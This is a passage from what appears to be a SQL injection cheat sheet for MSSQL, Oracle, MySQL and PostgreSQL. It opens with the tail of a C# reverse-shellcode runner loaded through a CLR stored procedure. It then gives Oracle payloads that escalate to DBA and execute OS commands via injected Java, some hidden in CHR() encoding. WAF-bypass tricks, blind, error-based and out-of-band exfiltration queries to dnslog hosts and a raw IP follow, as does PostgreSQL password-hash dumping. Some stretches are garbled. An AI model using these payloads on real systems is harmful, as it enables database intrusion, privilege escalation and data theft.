0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7e, 0x36, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a, 0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00, 0x56, 0x53, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7d, 0x22, 0x58, 0x68, 0x00, 0x40, 0x00, 0x00, 0x6a, 0x00, 0x50, 0x68, 0x0b, 0x2f, 0x0f, 0x30, 0xff, 0xd5, 0x57, 0x68, 0x75, 0x6e, 0x4d, 0x61, 0xff, 0xd5, 0x5e, 0x5e, 0xff, 0x0c, 0x24, 0xe9, 0x71, 0xff, 0xff, 0xff, 0x01, 0xc3, 0x29, 0xc6, 0x75, 0xc7, 0xc3 }; var ipOctetSplit = ip.Split('.'); byte octByte1 = Convert.ToByte(ipOctetSplit[0]); byte octByte2 = Convert.ToByte(ipOctetSplit[1]); byte octByte3 = Convert.ToByte(ipOctetSplit[2]); byte octByte4 = Convert.ToByte(ipOctetSplit[3]); int inputPort = Int32.Parse(port); byte port1Byte = 0x00; byte port2Byte = 0x00; if (inputPort > 256) { int portOct1 = inputPort / 256; int portOct2 = portOct1 * 256; int portOct3 = inputPort - portOct2; int portoct1Calc = portOct1 * 256 + portOct3; if (inputPort == portoct1Calc) { port1Byte = Convert.ToByte(portOct1); port2Byte = Convert.ToByte(portOct3); } } else { port1Byte = 0x00; port2Byte = Convert.ToByte(inputPort); } buf[174] = octByte1; buf[175] = octByte2; buf[176] = octByte3; buf[177] = octByte4; buf[181] = port1Byte; buf[182] = port2Byte; UInt32 funcAddr = VirtualAlloc(0, (UInt32)buf.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(buf, 0, (IntPtr)(funcAddr), buf.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } catch (Exception e) { Console.WriteLine(e); throw; } } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds); }} generate Right click – New Assembly chooseunlimited execute in database CREATE PROCEDURE [dbo].[name]@cmd NVARCHAR (MAX)AS EXTERNAL NAME [cli].[StoredProcedures].[name]go then executeexec dbo. Take a name ### Oracle edition #### command execution 1. ORACLE DATABASE 10G ENTERPRISE EDITION RELEASE 10.2.0.1.0 (the test was successful before the virtual machine was lost in this version) Elevate the TEST user to dba privileges. The TEST user name should be capitalized. ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''grant dba to TEST''''; END;''; END;--', '', 0, '1', 0) from dual)=0-- Create Java package ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "SasugaOracle" as import java.lang.*;import java.io.*;class SasugaOracle{public static String exec(String cmd){String ret="",tmp;try{BufferedReader reader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));while ((tmp=reader.readLine())!=null){ret+=tmp;}reader.close();}catch(Exception ex){ret=ex.toString();}return ret;}}''''; END;''; END;--', '', 0, '1', 0) from dual)=0-- Grant Java permissions ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''',''''''''execute''''''''); end;'''';END;'';END;--','SYS',0,'1',0) from dual)=0-- Create runcmd function ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function runcmd(cmd in varchar2) return varchar2 as language java name ''''''''SasugaOracle.exec(java.lang.String) return java.lang.String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual)=0-- Give everyone execute permission ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant execute on runcmd to public'''';END;'';END;--','SYS',0,'1',0) from dual)=0-- command execution ' and 1=2 union select 1,sys.runcmd('cmd /c whoami'),2 from dual-- 2. For hacking Oracle Database 11.1.0.7.0 and earlier versions (The 11.2.0.1 April CPU patch fixes this) the current user has dba privileges 赋予SYSTEM Javasyspriv Only DBA can call this function (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(begin execute immediate 'grant javasyspriv to SYSTEM';end;)from dual) is not null ' AND (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(103)||CHR(114)||CHR(97)||CHR(110)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(115)||CHR(121)||CHR(115)||CHR(112)||CHR(114)||CHR(105)||CHR(118)||CHR(32)||CHR(116)||CHR(111)||CHR(32)||CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77)||CHR(39)||CHR(59)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual) is not null--  1. Create javaexec package ' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and resolve java source named "javaexec" as import java.lang.*;import java.io.*;public class javaexec{public static String Ecmd(String ss) throws IOException{BufferedReader mR= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(ss).getInputStream()));String st,str="";while ((st=mR.readLine()) != null) str += st+"\n";mR.close();return str;}}'';commit; end;') from dual) where rownum=1--' and (select dbms_xmlquery.newcontext(CHR(100)||CHR(101)||CHR(99)||CHR(108)||CHR(97)||CHR(114)||CHR(101)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(32)||CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(114)||CHR(101)||CHR(115)||CHR(111)||CHR(108)||CHR(118)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(115)||CHR(111)||CHR(117)||CHR(114)||CHR(99)||CHR(101)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(100)||CHR(32)||CHR(34)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(34)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(42)||CHR(59)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(105)||CHR(111)||CHR(46)||CHR(42)||CHR(59)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(99)||CHR(108)||CHR(97)||CHR(115)||CHR(115)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(123)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(115)||CHR(116)||CHR(97)||CHR(116)||CHR(105)||CHR(99)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(69)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(115)||CHR(41)||CHR(32)||CHR(116)||CHR(104)||CHR(114)||CHR(111)||CHR(119)||CHR(115)||CHR(32)||CHR(73)||CHR(79)||CHR(69)||CHR(120)||CHR(99)||CHR(101)||CHR(112)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(123)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(32)||CHR(109)||CHR(82)||CHR(61)||CHR(32)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(40)||CHR(41)||CHR(46)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(40)||CHR(115)||CHR(115)||CHR(41)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(40)||CHR(41)||CHR(41)||CHR(41)||CHR(59)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(116)||CHR(44)||CHR(115)||CHR(116)||CHR(114)||CHR(61)||CHR(34)||CHR(34)||CHR(59)||CHR(119)||CHR(104)||CHR(105)||CHR(108)||CHR(101)||CHR(32)||CHR(40)||CHR(40)||CHR(115)||CHR(116)||CHR(61)||CHR(109)||CHR(82)||CHR(46)||CHR(114)||CHR(101)||CHR(97)||CHR(100)||CHR(76)||CHR(105)||CHR(110)||CHR(101)||CHR(40)||CHR(41)||CHR(41)||CHR(32)||CHR(33)||CHR(61)||CHR(32)||CHR(110)||CHR(117)||CHR(108)||CHR(108)||CHR(41)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(32)||CHR(43)||CHR(61)||CHR(32)||CHR(115)||CHR(116)||CHR(43)||CHR(34)||CHR(92)||CHR(110)||CHR(34)||CHR(59)||CHR(109)||CHR(82)||CHR(46)||CHR(99)||CHR(108)||CHR(111)||CHR(115)||CHR(101)||CHR(40)||CHR(41)||CHR(59)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(59)||CHR(125)||CHR(125)||CHR(39)||CHR(59)||CHR(99)||CHR(111)||CHR(109)||CHR(109)||CHR(105)||CHR(116)||CHR(59)||CHR(32)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual)isnotnull-- 1. Create javacmd function ' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function javacmd(p_filename in varchar2)return varchar2 as language java name ''''javaexec.Ecmd(java.lang.String)return String'''';''; commit; end;') from dual) where rownum=1--' and (select dbms_xmlquery.newcontext(CHR(100)||CHR(101)||CHR(99)||CHR(108)||CHR(97)||CHR(114)||CHR(101)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(32)||CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(102)||CHR(117)||CHR(110)||CHR(99)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(112)||CHR(95)||CHR(102)||CHR(105)||CHR(108)||CHR(101)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(105)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(41)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(117)||CHR(97)||CHR(103)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(39)||CHR(39)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(46)||CHR(69)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(41)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(39)||CHR(39)||CHR(59)||CHR(39)||CHR(59)||CHR(32)||CHR(99)||CHR(111)||CHR(109)||CHR(109)||CHR(105)||CHR(116)||CHR(59)||CHR(32)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual)isnotnull-- 1. command execution ' and 1=2 union select 1,(select javacmd('whoami') from dual),'3' from dual--'||utl_inaddr.get_host_name((select javacmd('ping 8.8.8.8') from dual))||' # injection technique ### Mysql injection tips ### Mysql common protection methods and bypass basic introduction MySQL has now released the official version 8.0.21, which integrates MySQL 8.0.20 in the ubuntu20 apt source. Officially, MySQL8 is 2 times faster than MySQL 5.7, supports json, nosql, modified default authentication, and has a lot of other improvements and faster performance. #### 1. Character replacement Common entry point guard codes for some small cms $str = str_replace("select", "", $str);$str = str_replace("union", "", $str); The above can be double-written, or case-bypassed. So the developers replaced it with: $str = str_ireplace("select", "***", $str);$str = str_ireplace("union", "***", $str); This replacement is effective, but severely disrupts normal business. So in reality, it is more about regular matching protection. #### 2. Regular matching In some waf or more popular cms, we will see such protection code $filter = "\\||\\b(alert\$$|confi rm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*$$|sleep\s*?$$.*$$|load_file\s*?\$$)|]*?\\bon([a-z]{4,}) \s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\$$'\"\\d]+?=[\$$\$$'\"\\d]+?|[\$$\$$'\"a-zA-Z]+?=[\$$\$$'\"a-zA-Z]+?|>|< |\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|

which matches injection statements of various patterns toINSERT\\s+INTO.+?VALUESFor example, byinsert into xxx selectway to bypass

After the accumulative beatings, developers slowly found a way. When injecting and obtaining data, joint queries or sub-queries are always required, so some classic regularities were generated, using Discuz's protection code_do_query_safefunction as an example

The meaning of this code is to replace all characters except a-z0-9 and a few limited characters in the sql statement to be queried with empty, and then match, if the match is such asunionall(selectIn this way, the code that must be used to obtain data will refuse to execute.

But it is not completely possible to bypass, for example, the same table injection does not need to use subqueries

select * from test where test3=-1 or substr(test2,1,1)=1;
select * from test where test3=-1 or substr(test2,1,1)=2;

Can also be executed in multiple statements

set @a:=0x73656c656374292a2966726f6d2074657374;
#select * from test
prepare s from @a
execute s;

or

handler new_ips_final open;
handler new_ips_final close;
#Remember to develop a habit and close it at will

So the big guys of developers thought of a new method: semantic analysis

#### 3. Semantic Analysis

By analyzing the user's input, if it conforms to the syntax of mysql (of course, the actual process is much more complicated), it will be identified as sql injection and blocked. As shown below

For example, in a simple select 1 statement, 1 is the position of expr, which can be a number, a Boolean value, or a function, or you can write select+1 like this. When all possibilities are listed, This prevents it from being bypassed by attackers.

The general idea of ​​bypassing this kind of protection is to look for a special syntax, which leads to an error in the semantic analysis of the defender. When the error reaches a certain threshold, the protection device considers that this is not a legal SQL statement and releases it.

Add character set processing after 1

select 1 union select '1' collate utf8_bin;

or

select trim(leading 'x' from 'xxxbarxxx');

Find some special functions that contain keywords that are not recognized by the semantic analysis of protective equipment

### New features of mysql8 sql syntax

The new syntax that appeared in Mysql 8.

TABLE Statement

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

The role is to directly list all the results of the table

VALUES Statement

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]
value_list:
value[, value][, ...]
column_designator:
column_index

List the values ​​of a row directly, for example:

values row(1,-2,3),row(5,7,9),row(4,6,8);

The results of the values ​​statement and the table statement are all table data, which can be done like this

values row(1,-2,3).row(5,7,9),row(4,6,8) union select * from user;

or

values row(1,-2,3).row(5,7,9),row(4,6,8) union table user;

Successfully bypass the most criticalselect, that is, data can be obtained without select, and multi-statement execution is not required

### Using mysql8 sql injection skills

Suppose a scenario, that is, select cannot be used, and multiple statements cannot be used, and the database is as follows

The application code snippet is as follows

### joint query

joint query
Judgment echo point

union all select null,null,null,null from dual

Query current table user

union all select 1,to_nchar(user),null,null from dual

In the Oracle database, the concept of the library is diluted, emphasizing the user
query table name

union all select null,to_nchar(table_name),null,null from user_tables where rownum=1

query next table name

union all select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS'

In addition to this, a single record can be queried using the following methods

select rownum r,table_name from user_tables

select table_name from (select rownum R,table_name from user_tables) where r=2

union all select null,to_nchar(table_name),null,null from (select rownum R,table_name from user_tables) where r=1

get field name

union all select null,to_nchar(column_name),null,null from user_tab_columns

query next

union all select null,to_nchar(column_name),null,null from user_tab_columns where column_name<>'ID'

### blind note

length()Calculate the length
substr()intercept string
decode(field or field operation, value 1, value 2, value 3)The result of this function running is that when the value of the field or the operation of the field is equal to the value 1, the function returns the value 2, otherwise it returns the value 3

### Boolean blinds

The number of judgment tables

and (select count(table_name) from user_tables)>1

Determine the length of the table name

and (select length(table_name) from user_tables where rownum=1)>1

Judgment shows content

and ascii(substr((select table_name from user_tables where rownum=1),1,1))>1

### Blind instr() usage

The instr function is used to intercept strings (source string, target string)

and 1=(instr((select user from dual),'O'))

The page will be wrong when there is an error, and the normal page will be returned correctly

when correct

when wrong

### time blind

Oracle's time blind injection usually uses DBMS_PIPE.RECEIVE_MESSAGE(), and the other is the combination of decode() and high time-consuming SQL operations. Of course, it can also be a combination of case, if and other methods and high time-consuming operations. High time-consuming operations refer to, for example: (select count(*) from all_objects), querying or other processing operations on a large amount of data in the database, such operations will consume more time, and then obtain data in this way . This way also works for other databases.

The DBMS_LOCK.SLEEP() function can put a process to sleep for many seconds, but there are many restrictions on using this function.

First, the function cannot be injected directly into a subquery, because Oracle does not support stacked queries. Second, only database administrators can use the DBMS_LOCK package.

There is a better way in Oracle PL/SQL to inject delay inline using the following directive: DBMS_PIPE.RECEIVE_MESSAGE('any value', delay time), as follows

dbms_pipe.receive_message('RDS', 10)

The DBMS_PIPE.RECEIVE_MESSAGE function will wait 10 seconds for data returned from the RDS pipeline. By default, execution of the package with public permissions is allowed. In contrast, DBMS_LOCK.SLEEP() is a function that can be used in SQL statements.

Application in Delayed Blinds:

http://www.xxx.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--

http://www.xxx.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--

If the page returns with a delay of 10 seconds, there is injection.

### decode function

Use decode() for time blind injection

The basic expression of the decode() function statement is:

decode(expr1,expr2,expr3,[expr4])

Understand the expression as follows:
(1), if expr1 = expr2, the decode function returns the value of the expr3 expression;
(2), if expr1 != expr2, the decode function returns the value of the expr4 expression, or null if expr4 is not specified.

Use decode nested with DBMS_PIPE.RECEIVE_MESSAGE for blind time injection.

http://www.test.com/oracle.jsp?name=1'and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) ,0) from dual) and '1'='1

Of course, the delayed operation here does not necessarily use the delay function, but can also use the entries that take more time to query all the database. E.g:

(select count(*) from all_objects)

http://www.xxx.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0

The result of the injected expression can also be judged by this obvious time difference.

### Error injection

Through the ctxsys.drithsx.sn function
This function searches for the corresponding keywords about the topic, and then because the query fails, it should be that the user does not have the permission to create and query.

and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum R,table_name from user_tables) where r=2))

and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- Use the ctxsys.ctx_report.token_type function This function is used to convert English names to numeric types Error query at name and 1=ctxsys.ctx_report.token_type((select user from dual), '1') The rest of the statements that can be tested Using dbms_xdb_version related methods to report errors Error query by returning the id of the new version to the information check-in Here the location where the statement is inserted is the pathname of the resource and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--

dbms_xdb_version.makeversioned
This function returns the resource ID of the first version of the VCR or the root directory, and performs an error query by the path name of the resource

and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null-- dbms_xdb_version.uncheckout This function is used to check in a resource that has been checked out, and returns the resource id of the version before checking out the resource, and performs error query through the path name of the checked out resource and(select dbms_xdb_version.uncheckout((selectbannerfromsys.v_$versionwhere rownum=1)) from dual) is not null--

Error reporting using dbms packets
Convert the sqlid to a hash value, and insert a statement at the query sqlid to report an error
Here is an error query for sqlid

and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null-- Errors by returning information about various Oracle Streams properties Here, the error query is performed by returning the sender name of the current logical change record (LCR) to the message attribute, or by returning the name of the constraint violated by the LCR that caused the error (both in the same location, two usages). and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null--

The function of this function is to generate the XML schema from the oracle type name
Get data by reporting an error to the type name in the generated xml schema schema

and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null-- Report errors by operating on xml document information This function extracts translations in XLIFF format from XMLTYPE or resources in XDB Error query by the location of xpath and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null--

Using ordsys.ord_dicom.getmappingxpath to report an error
Report an error through an invalid xml path, and the error message will be sent to the page
Here is an error query at the xml path

and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$versionwhere rownum=1),user,user)-- Error using utl_inaddr.get_host_name function The utl_inaddr.get_host_name function is used to obtain the IP address in the environment, and the information is brought to the page through the statement to report an error Error query at IP data location and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))--

Error using XMLType function
Through xmltype, construct the xml data content in the xml data type to report an error
Error query at xml data

and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null-- ### oob(Out of Band) Using the UTL_HTTP.REQUEST function Use this function to send http requests, carry query information, and obtain information by recording request log information select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select user from dual)||'.ujf6lv.dnslog.cn') FROM sys.DUAL; Error reporting using dbms_ldap.init dbms_ldap.init will create a connection to the ldap server, so as to bring out the queried information, send dns requests through this function, and parse logs through dns records to obtain information select name from test_user where id =1 union select DBMS_LDAP.INIT((select user from dual)||'.ujf6lv.dnslog.cn',80) from dual ' and DBMS_LDAP.INIT((select user from dual)||'.ujf6lv.dnslog.cn',80) is not null-- #后面要加is not null Functions using packets of utl_inaddr The UTL_INADDR.GET_HOST_ADDRESS function is used to query the ip address in the environment Send dns requests through this function, and parse logs through dns records to obtain information select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select user from dual)||'.ddd.ujf6lv.dnslog.cn') FROM sys.DUAL; ' and utl_inaddr.get_host_address((select 1234567811 from dual)||'.fzrsuf.3w1.pw')=1-- ' and utl_inaddr.get_host_address((select 3333333 from dual)||'.fzrsuf.3w1.pw') like 1-- Use the httpuritype function httpuritype is used to send http requests from database server Use this function to send http requests, carry query information, and obtain information by recording request log information. You can also use this function to send dns requests, and parse logs through dns records to obtain information select httpuritype( 'http://74.121.151.89/123344/back.pl').getclob() from dual; select name from test_user where id =1 union SELECT HTTPURITYPE((select user from dual)||'.xx.ujf6lv.dnslog.cn').GETCLOB() FROM sys.DUAL; Use the extractvalue function (select extractvalue(xmltype(' %nakut;]>'),'/l') from dual) (select extractvalue(xmltype(' %remote;]>'),'/l') from dual) (select extractvalue(xmltype(' %remote; %param1;]>'),'/l') from dual) ' and (select extractvalue(xmltype(' %remote;]>'),'/l') from dual)||' ' and 1=(select extractvalue(xmltype(' %remote;]>'),'/l') from dual) or '1'='1 ' AND 1=(select extractvalue(xmltype(' %remote; %param1;]>'),'/l') from dual)-- ' AND 1=(select extractvalue(xmltype(' %remote; %param1;]>'),'/l') from dual)-- ## PostgreSQL injection tricks ### Pre-knowledge Notes -- single line /**/ Multi-line Version SELECT version() View current users SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); List user table contents SELECT usename FROM pg_user List password hashes SELECT usename, passwd FROM pg_shadow List database super administrator accounts SELECT usename FROM pg_user WHERE usesuper IS TRUE List permission information SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user Query the current database name SELECT current_database() query all databases SELECT datname FROM pg_database List table information SELECT table_name FROM information_schema.tables output column information SELECT column_name FROM information_schema.columns WHERE table_name='data_table' ### Error injection ,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC) ,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- 